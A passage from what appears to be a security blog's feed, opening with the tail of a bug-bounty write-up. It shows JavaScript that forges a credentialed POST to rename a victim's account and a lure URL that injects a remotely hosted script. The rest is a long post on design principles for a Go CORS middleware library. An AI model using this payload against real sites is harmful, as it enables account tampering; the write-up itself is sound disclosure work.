</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">randomString</span> <span style="color:#f92672">=</span> (Math.<span style="color:#a6e22e">random</span>() <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>).<span style="color:#a6e22e">toString</span>(<span style="color:#ae81ff">36</span>).<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">7</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#39;username&#39;</span><span style="color:#f92672">:</span><span style="color:#e6db74">`PWNED_</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">randomString</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>};
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">opts</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;include&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">data</span>)
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span>, <span style="color:#a6e22e">opts</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">csrf</span>();
</span></span></code></pre></div><p>I could then lure a victim authenticated on <code>https://www.redacted.com</code>
to the following URL:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>https://redacted.jub0bs.com/?payload=var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%22https%3A%2F%2Fredacted.jub0bs.com%2F1.js%22%3Bdocument.head.appendChild%28s%29%3B
</span></span></code></pre></div><p>If my victim subsequently clicked the button,
she would unwittingly update her username on <code>https://www.redacted.com</code>
to a telltale value of something like <code>PWNED_ysp4d</code>.</p>
<h2 id="epilogue">Epilogue <a href="#epilogue">¶</a></h2>
<p>I promptly reported my findings through my target&rsquo;s bug-bounty programme
with a <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N&amp;version=3.1" target="_blank" rel="noopener">CVSS vector of <code>AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N</code> (7.1 High)</a>.
According to their reward table, <em>High</em> paid just under €1,000.
I was hopeful that, despite the need for user interaction,
my perseverance and the complexity of my bug chain would compel the triage team
to throw in a small bonus for good measure.</p>
<p>Unfortunately, the gnarliest bug chains don&rsquo;t always turn out to be lucrative.
For my report, I only got the princely sum of €200.
And despite my repeated calls for a justification, the programme remained dead silent.
You won&rsquo;t be surprised to learn that I have no plans
to spend any more time on that programme until they reassess their reward policy.</p>
<p>Ultimately, knowledge is its own reward, I suppose.
If anything, this bug chain reinforced my belief that going out of scope is hardly ever a pointless exercise.</p>
<h2 id="acknowledgements">Acknowledgements <a href="#acknowledgements">¶</a></h2>
<p>Thanks to <a href="https://bsky.app/profile/renniepak.nl" target="_blank" rel="noopener">renniepak</a> and <a href="https://www.linkedin.com/in/cooketara/" target="_blank" rel="noopener">Tara Cooke</a>,
who both kindly agreed to review an early draft of this post.</p>
]]></content>
        </item>
        
        <item>
            <title>Fearless CORS: a design philosophy for CORS middleware libraries (and a Go implementation)</title>
            <link>//jub0bs.com/posts/2023-02-08-fearless-cors/</link>
            <pubDate>Wed, 08 Feb 2023 13:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2023-02-08-fearless-cors/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In this post, I investigate why developers struggle with CORS
and I derive &lt;em&gt;Fearless CORS&lt;/em&gt;, a design philosophy for better CORS middleware libraries,
which comprises the following twelve principles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;#1-optimise-for-readability&#34;&gt;Optimise for readability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#2-strive-for-a-simple-and-cohesive-api&#34;&gt;Strive for a simple and cohesive API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#3-provide-support-for-private-network-access&#34;&gt;&lt;del&gt;Provide support for Private Network Access&lt;/del&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#4-categorise-requests-correctly&#34;&gt;Categorise requests correctly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#5-validate-configuration-and-fail-fast&#34;&gt;Validate configuration and fail fast&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#6-treat-cors-as-a-compilation-target&#34;&gt;Treat CORS as a compilation target&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#7-provide-no-default-configuration&#34;&gt;Provide no default configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#8-do-not-preclude-legitimate-configurations&#34;&gt;Do not preclude legitimate configurations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#9-ease-troubleshooting-by-eschewing-shortcuts-during-preflight&#34;&gt;Ease troubleshooting by eschewing shortcuts during preflight&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#10-render-insecure-configurations-impossible&#34;&gt;Render insecure configurations impossible&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#11-guarantee-configuration-immutability&#34;&gt;Guarantee configuration immutability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;#12-focus-performance-optimisation-on-middleware-execution&#34;&gt;Focus performance optimisation on middleware execution&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This post also introduces &lt;a href=&#34;https://pkg.go.dev/github.com/jub0bs/fcors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jub0bs/fcors&lt;/a&gt;,
an open-source, production-ready CORS middleware library for &lt;a href=&#34;https://go.dev/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Go&lt;/a&gt;
that adheres to &lt;em&gt;Fearless CORS&lt;/em&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<p>In this post, I investigate why developers struggle with CORS
and I derive <em>Fearless CORS</em>, a design philosophy for better CORS middleware libraries,
which comprises the following twelve principles:</p>
<ol>
<li><a href="#1-optimise-for-readability">Optimise for readability</a></li>
<li><a href="#2-strive-for-a-simple-and-cohesive-api">Strive for a simple and cohesive API</a></li>
<li><a href="#3-provide-support-for-private-network-access"><del>Provide support for Private Network Access</del></a></li>
<li><a href="#4-categorise-requests-correctly">Categorise requests correctly</a></li>
<li><a href="#5-validate-configuration-and-fail-fast">Validate configuration and fail fast</a></li>
<li><a href="#6-treat-cors-as-a-compilation-target">Treat CORS as a compilation target</a></li>
<li><a href="#7-provide-no-default-configuration">Provide no default configuration</a></li>
<li><a href="#8-do-not-preclude-legitimate-configurations">Do not preclude legitimate configurations</a></li>
<li><a href="#9-ease-troubleshooting-by-eschewing-shortcuts-during-preflight">Ease troubleshooting by eschewing shortcuts during preflight</a></li>
<li><a href="#10-render-insecure-configurations-impossible">Render insecure configurations impossible</a></li>
<li><a href="#11-guarantee-configuration-immutability">Guarantee configuration immutability</a></li>
<li><a href="#12-focus-performance-optimisation-on-middleware-execution">Focus performance optimisation on middleware execution</a></li>
</ol>
<p>This post also introduces <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>,
an open-source, production-ready CORS middleware library for <a href="https://go.dev/" target="_blank" rel="noopener">Go</a>
that adheres to <em>Fearless CORS</em>.</p>
<p>Familiarity with the CORS protocol is a prerequisite for reading this post;
if you need to brush up on CORS, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener">MDN Web Docs</a> is a good resource.
Some familiarity with Go, Java, and JavaScript is beneficial but not required.
This post is quite long, but its structure should allow you
to dip in and out of it as you please.</p>
<h2 id="introduction">Introduction <a href="#introduction">¶</a></h2>
<h3 id="cors-101">CORS 101 <a href="#cors-101">¶</a></h3>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener">Cross-Origin Resource Sharing (CORS)</a> is a mechanism
that lets servers instruct browsers to relax, for select clients,
some restrictions (in terms of both sending and reading)
enforced by the <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" target="_blank" rel="noopener">Same-Origin Policy (SOP)</a>
on cross-origin network access.
The protocol relies on special HTTP headers such as
<code>Origin</code>, <code>Access-Control-Request-Method</code>, <code>Access-Control-Allow-Origin</code>, etc.
Because a picture is worth a thousand words,
let me show you a typical example of a successful CORS handshake:</p>
<p><img src="/images/cors_handshake_n0YId2KGYdJe-RdJSvT1t,PYa0ksjflxNQ0Y5pq7cKYQ.svg" alt="diagram of a CORS handshake"></p>
<ol start="0">
<li>Bob visits Carol&rsquo;s website (<code>https://carol.com</code>).</li>
<li>Carol&rsquo;s client uses <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch" target="_blank" rel="noopener">the Fetch API</a> to issue a <code>GET</code> request
to a resource on Sarah&rsquo;s server (<code>https://sarah.com</code>).
Carol includes a header named <code>Authorization</code> in her request.</li>
<li>The request is such that Bob&rsquo;s browser first issues a
<a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request" target="_blank" rel="noopener"><em>preflight</em> request</a>
(which uses the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS" target="_blank" rel="noopener"><code>OPTIONS</code> method</a>) to the server.</li>
<li>The server sends a preflight response,
which instructs Bob&rsquo;s browser that Carol&rsquo;s client is allowed
to send her <em>actual</em> (<code>GET</code>) request.</li>
<li>The browser sends Carol&rsquo;s actual request to the server.</li>
<li>The server sends back a response, which also instructs Bob&rsquo;s
browser that Carol&rsquo;s client is allowed to read the response in question.</li>
<li>The browser complies and gives Carol&rsquo;s client access to Sarah&rsquo;s response.</li>
</ol>
<p>This is CORS in a nutshell.
In practice, some daring server developers choose to implement CORS by
&ldquo;manually&rdquo; setting the relevant HTTP response headers,
either at the application level or <a href="https://enable-cors.org/server_nginx.html" target="_blank" rel="noopener">at the reverse-proxy level</a>;
but doing so is error-prone.
As expressed by <a href="https://jakearchibald.com" target="_blank" rel="noopener">Jake Archibald</a>&rsquo;s <a href="https://jakearchibald.com/2021/cors/" target="_blank" rel="noopener">pithy statement</a>,</p>
<blockquote>
<p>CORS (Cross-Origin Resource Sharing) is hard.</p>
</blockquote>
<p>CORS is, at the very least, more intricate than meets the eye.
In practice, developers tend to rely instead on some middleware library,
which can leverage the full power of their programming language
to abstract some of CORS&rsquo;s complexity.</p>
<h3 id="cors-woes">CORS woes <a href="#cors-woes">¶</a></h3>
<p>Although CORS has been, since its inception in the late 2000s,
an instrumental mechanism for the development of the modern Web,
it remains a frequent source of confusion and exasperation for developers.
At the time of writing this post,
the number of <a href="https://stackoverflow.com/questions/tagged/cors" target="_blank" rel="noopener">Stack Overflow questions tagged with &ldquo;cors&rdquo;</a>
hovers around 12,500, and
a disconcertingly large fraction of those questions comes from a place of anguish.
Some view fixing CORS issues as a rite of passage into Web-development mastery;
others take to social media to give way to gloom or vent their frustration.</p>
<p><a href="https://martinfowler.com/bliki/CannotMeasureProductivity.html" target="_blank" rel="noopener">Productivity in software development is notoriously hard to measure</a>,
but obstacles to productivity are hard to ignore;
and, if such public outcry is anything to go by,
one can only shudder at the thought of the cumulative time and money
that has been wasted on troubleshooting CORS issues over the years.</p>
<p>There is a flip side to this: because CORS deactivates some browser defences,
misconfiguring it can compromise, not just functionality, but also security.
Insecure CORS configurations are perhaps less decried than dysfunctional ones
but, <a href="https://hackerone.com/hacktivity?querystring=cors%20misconfiguration" target="_blank" rel="noopener">when they do occur</a>,
they have the potential to expose stakeholders to
<a href="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" target="_blank" rel="noopener">devastating cross-origin attacks</a>.
In fact, server developers fighting a losing battle
against a dysfunctional CORS configuration may be driven,
as a last-ditch attempt to just &ldquo;make things work&rdquo;,
to adopt an overly permissive CORS policy,
such as <a href="https://stackoverflow.com/a/9866124/2541573" target="_blank" rel="noopener">one that throws most of the SOP out the window</a>!</p>
<p>Why this continual weeping and gnashing of teeth?
Is the protocol itself to blame for so much misery?
No; I argue that CORS&rsquo;s reputation as a productivity killer and security footgun
is mostly undeserved.
Are developers simply too dumb to bend CORS to their will, then?
Developers in general would certainly benefit from
familiarising themselves better with the protocol before using it or
<a href="https://fosterelli.co/developers-dont-understand-cors" target="_blank" rel="noopener">opting for farfetched and dangerous alternatives</a>,
but assigning the blame entirely to them would be unfair.
What about the tools?
Contrary to popular opinion, I think browsers do
a rather fine job in helping developers troubleshoot their CORS issues.
This only leaves CORS libraries out of account&hellip;</p>
<h3 id="out-of-the-cors-tar-pit">Out of the CORS tar pit <a href="#out-of-the-cors-tar-pit">¶</a></h3>
<p>Over the past few months, I&rsquo;ve been driven to study the CORS protocol
with more attention than I had formerly given to it.
I&rsquo;ve spent hours perusing current and old specifications,
code-spelunking in both prominent and obscure CORS libraries,
rummaging through pull requests and GitHub issues,
reading reports of insecure CORS configurations,
sifting through countless Stack-Overflow questions about CORS
and <a href="https://stackoverflow.com/search?q=user%3A2541573&#43;%5Bcors%5D&#43;is%3Aanswer" target="_blank" rel="noopener">answering them when I could</a>&hellip;
At last, I came to the conclusion
that developers&rsquo; difficulties with CORS largely result from
certain infelicities in CORS middleware libraries.</p>
<p>But identifying culprits isn&rsquo;t enough: how shall we escape this predicament?
In reaction to the shortcomings I perceive in existing CORS middleware libraries,
I started gathering my thoughts about
how I would design such a library from scratch,
with the benefit of hindsight
and unencumbered by unfortunate past design decisions
or promises of backwards compatibility.</p>
<p>This post enunciate my vision for a better CORS middleware library,
one that designs CORS misconfigurations—both dysfunctional and insecure
configurations—out of existence.
Nicknamed <em>Fearless CORS</em>, my design philosophy
ramifies into twelve language-agnostic principles, in a manner reminiscent of
<a href="https://www.ics.uci.edu/~fielding/pubs/dissertation/fielding_dissertation.pdf" target="_blank" rel="noopener">REST&rsquo;s six constraints</a> and <a href="https://12factor.net/" target="_blank" rel="noopener">Heroku&rsquo;s Twelve-Factor-App methodology</a>.
This post also presents <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>,
a production-ready CORS middleware library for Go
that adheres to <em>Fearless CORS</em>.</p>
<p>What follows is one third murder mystery,
one third design manifesto,
and one third billboard for <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>.
I hope you enjoy it!
My views may strike you as stubborn and contentious,
and my tone as acerbic and pompous,
but I&rsquo;ve endeavoured to remain lucid, if only occasionally harsh,
in my criticism of existing CORS libraries.
Of course, I don&rsquo;t have a monopoly on truth;
if you disagree with <em>Fearless CORS</em>,
I&rsquo;d like to hear from you;
and if you find a bug in <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> or identify a missing feature,
please do <a href="https://github.com/jub0bs/fcors/issues/new" target="_blank" rel="noopener">file an issue on GitHub</a>.</p>
<h2 id="the-twelve-principles-of-fearless-cors">The twelve principles of Fearless CORS <a href="#the-twelve-principles-of-fearless-cors">¶</a></h2>
<h3 id="1-optimise-for-readability">1. Optimise for readability <a href="#1-optimise-for-readability">¶</a></h3>
<p>Most CORS middleware
libraries—to the notable exception of <a href="https://spring.io/guides/gs/rest-service-cors/" target="_blank" rel="noopener">Spring&rsquo;s</a> and
<a href="https://learn.microsoft.com/en-us/aspnet/core/security/cors?view=aspnetcore-7.0" target="_blank" rel="noopener">.NET Core&rsquo;s</a>—adopt an imperative style.
Here is an example featuring <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Options</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedOrigins</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;https://example.com&#34;</span>},
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedMethods</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodGet</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPost</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPut</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodDelete</span>,
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedHeaders</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;Authorization&#34;</span>},
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>However, a declarative style tends to outmatch an imperative one
in terms of readability of the resulting configuration code.
Here is how you would express an equivalent CORS policy
with <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromOrigins</span>(<span style="color:#e6db74">&#34;https://example.com&#34;</span>),
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithMethods</span>(
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodGet</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPost</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPut</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodDelete</span>,
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithRequestHeaders</span>(<span style="color:#e6db74">&#34;Authorization&#34;</span>),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>The differences are more than cosmetic.
By contrast with <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>
requires less ceremony.
In particular, through its use of <a href="https://go.dev/ref/spec#Function_types" target="_blank" rel="noopener">variadic function parameters</a>,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> does away with those distracting
<a href="https://go.dev/ref/spec#Composite_literals" target="_blank" rel="noopener">slice literals</a> (<code>[]string{}</code>).
Moreover, through its use of a pattern known in the Go community
as <a href="https://dave.cheney.net/2014/10/17/functional-options-for-friendly-apis" target="_blank" rel="noopener"><em>functional options</em></a>,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> obviates the need for
exposing an intermediate configuration struct
and lets you express your desired CORS policy in a more declarative style
via a small embedded <a href="https://www.martinfowler.com/bliki/DomainSpecificLanguage.html" target="_blank" rel="noopener">domain-specific language</a>.
If you ignore the repeated occurrences of the package name (&ldquo;fcors&rdquo;) in
<a href="https://go.dev/ref/spec#Qualified_identifiers" target="_blank" rel="noopener">qualified identifiers</a>,
you&rsquo;ll likely find the configuration code largely free of visual noise.</p>
<p>By saving developers a few keystrokes in this manner,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> can afford to err on the side of verbosity
and self-documentation for the names of its options, e.g.</p>
<ul>
<li><a href="https://pkg.go.dev/github.com/jub0bs/fcors#WithRequestHeaders" target="_blank" rel="noopener"><code>WithRequestHeaders</code></a> rather than <code>WithHeaders</code>,</li>
<li><a href="https://pkg.go.dev/github.com/jub0bs/fcors#ExposeResponseHeaders" target="_blank" rel="noopener"><code>ExposeResponseHeaders</code></a> rather than <code>ExposeHeaders</code>, and</li>
<li><a href="https://pkg.go.dev/github.com/jub0bs/fcors#MaxAgeInSeconds" target="_blank" rel="noopener"><code>MaxAgeInSeconds</code></a> rather than <code>MaxAge</code>.</li>
</ul>
<p>Not exposing any configuration struct presents another advantage:
the impossibility to build upon an existing CORS policy.
Although option values can be shared across calls to
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>&rsquo;s middleware factory functions (named
<a href="https://pkg.go.dev/github.com/jub0bs/fcors#AllowAccess" target="_blank" rel="noopener"><code>AllowAccess</code></a>
and <a href="https://pkg.go.dev/github.com/jub0bs/fcors#AllowAccessWithCredentials" target="_blank" rel="noopener"><code>AllowAccessWithCredentials</code></a>),
this constraint tends to promote <em>co-location</em> of CORS-configuration code.
It also discourages the use of many different CORS policies,
which <a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/#how-to-prevent" target="_blank" rel="noopener">OWASP frowns upon</a> anyway:</p>
<blockquote>
<p>Implement access-control mechanisms once and re-use them throughout the application,
including minimizing Cross-Origin Resource Sharing (CORS) usage.</p>
</blockquote>
<p>As a result of these design decisions,
configuration code written with <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>
is comparatively easier to read and, hence, to review.</p>
<h3 id="2-strive-for-a-simple-and-cohesive-api">2. Strive for a simple and cohesive API <a href="#2-strive-for-a-simple-and-cohesive-api">¶</a></h3>
<p>In <a href="https://www.cs.unc.edu/~brooks/Toolsmith-CACM.pdf" target="_blank" rel="noopener"><em>The Computer Scientist as Toolsmith II</em></a>,
the late <a href="https://en.wikipedia.org/wiki/Fred_Brooks" target="_blank" rel="noopener">Fred Brooks</a> articulated an idea (slightly paraphrased here)
that still resonates with me:</p>
<blockquote>
<p>Two criteria for success in a tool are:</p>
<ul>
<li>It must be so <em>easy</em> to use that a seasoned developer <em>can</em> use it, and</li>
<li>It must be so <em>productive</em> that seasoned developers <em>will</em> use it.</li>
</ul>
</blockquote>
<p>However, the size of a library&rsquo;s API can hurt both ease of use and productivity.
<a href="https://bsky.app/profile/joshbloch.bsky.social" target="_blank" rel="noopener">Joshua Bloch</a>,
author of <a href="https://www.pearson.com/en-us/subject-catalog/p/effective-java/P200000000138/9780134685991" target="_blank" rel="noopener"><em>Effective Java</em></a>
and of <a href="https://docs.oracle.com/en/java/javase/19/docs/api/java.base/java/util/package-summary.html#JavaCollectionsFramework" target="_blank" rel="noopener">Java&rsquo;s Collections Framework</a>,
<a href="https://www.youtube.com/watch?v=aAb7hSCtvGw&amp;t=24m19s" target="_blank" rel="noopener">insists</a> that the best libraries
distinguish themselves as having a small <em>conceptual surface area</em>,
and enjoins library authors to maximise <em>power-to-weight ratio</em>.
Likewise, <a href="https://web.stanford.edu/~ouster/cgi-bin/home.php" target="_blank" rel="noopener">John Ousterhout</a>,
author of <a href="https://web.stanford.edu/~ouster/cgi-bin/aposd.php" target="_blank" rel="noopener"><em>A Philosophy of Software Design</em></a>,
argues that software <em>modules</em>—libraries, in this case—should
be <em>deep</em> rather than <em>shallow</em>;
in particular, between two libraries that have feature parity,
the one whose interface is smaller is preferable:</p>
<p><img src="/images/ousterhout_i0voOKwpho8vPk4pPE0cS,tDUsuHSXBUNKvIW-H3JoXw.svg" alt="tODO"></p>
<p>Many CORS middleware libraries, no doubt due to their long development history,
are not as <em>deep</em> as they ideally could be.
For example, <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s <a href="https://pkg.go.dev/github.com/rs/cors#Options" target="_blank" rel="noopener"><code>Options</code> struct type</a>
provides no fewer than three different ways
of expressing a CORS policy&rsquo;s allowed origins:</p>
<ul>
<li><code>AllowedOrigins</code>, of type <code>[]string</code>;</li>
<li><code>AllowedOriginFunc</code>, of type <code>func (string) bool</code>; and</li>
<li><code>AllowedOriginRequestFunc</code>, of type <code>func (*http.Request, string) bool</code>.</li>
</ul>
<p>This corner of <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>&rsquo;s API strikes me as <em>shallow</em>.
In particular, <code>AllowedOriginRequestFunc</code> subsumes—is strictly
more powerful than—<code>AllowOriginFunc</code>.
This overlap in functionality between the two functions is unfortunate,
as it unnecessarily bloats the conceptual surface area of the library&rsquo;s API.
I shall revisit those two function fields
<a href="#10-render-insecure-configurations-impossible">further down in this post</a>,
as I believe such &ldquo;hooks&rdquo; to be leaky abstractions at best
and dangerous misfeatures at worst.</p>
<p>Besides, all three options lack self-documentation.
What happens if, say, <code>AllowedOrigins</code> is used in conjunction with <code>AllowOriginFunc</code>?
Do those options somehow have cumulative effects?
If not, which one has precedence over the other?
Definite answers to these questions are not immediately apparent;
you will only find them in the library&rsquo;s documentation.</p>
<p>With <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>, developers can specify their allowed origins
only via two orthogonal and (mutually incompatible) options
named <a href="https://pkg.go.dev/github.com/jub0bs/fcors#FromOrigins" target="_blank" rel="noopener"><code>FromOrigins</code></a>
and <a href="https://pkg.go.dev/github.com/jub0bs/fcors#FromAnyOrigin" target="_blank" rel="noopener"><code>FromAnyOrigin</code></a>.
My library&rsquo;s comparatively smaller API
also lends itself better to auto-completion by IDEs.
Moreover, in a bid to minimise clutter and dispel any ambiguity,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> opts for non-additive options and
raises a run-time error in the face of repeated and/or conflicting option calls:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromAnyOrigin</span>(),
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithMethods</span>(<span style="color:#e6db74">&#34;GET&#34;</span>, <span style="color:#e6db74">&#34;POST&#34;</span>, <span style="color:#e6db74">&#34;PUT&#34;</span>),
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithMethods</span>(<span style="color:#e6db74">&#34;DELETE&#34;</span>), <span style="color:#75715e">// ❌ (conflicts with earlier call)</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h3 id="3-provide-support-for-private-network-access">3. <del>Provide support for Private Network Access</del> <a href="#3-provide-support-for-private-network-access">¶</a></h3>
<p>Edit (2025/06/14): Private-Network Access was never fully implemented by
browsers and has now been put <a href="https://developer.chrome.com/blog/pna-on-hold" target="_blank" rel="noopener">on (indefinite) hold</a> in favor of
<a href="https://developer.chrome.com/blog/local-network-access" target="_blank" rel="noopener">a new permission-based mechanism named &ldquo;Local-Network Access&rdquo;</a>.</p>
<p><a href="https://wicg.github.io/private-network-access/" target="_blank" rel="noopener">Private Network Access (PNA)</a>
is a W3C initiative that strengthens the Same-Origin Policy
by denying clients in more public networks (e.g. the public Internet) access
to less public networks (e.g. <code>localhost</code>);
the goal is to mitigate a class of <a href="https://owasp.org/www-community/attacks/csrf" target="_blank" rel="noopener">cross-site-request-forgery attacks</a>.
PNA also extends CORS by providing a server-side opt-in mechanism for such access.</p>
<p><img src="/images/pna_eQy2EMQBT_8JXgFE7o1Tv,LH3vphNG5eGMU5W0fQWB8Q.svg" alt="diagram showing Private Network Access in action"></p>
<p>At this stage, Private Network Access remains a moving target:
the specification retains draft status
and was <a href="https://github.com/WICG/private-network-access/issues/91" target="_blank" rel="noopener">recently renamed <em>twice</em> in the span of a few months</a>.
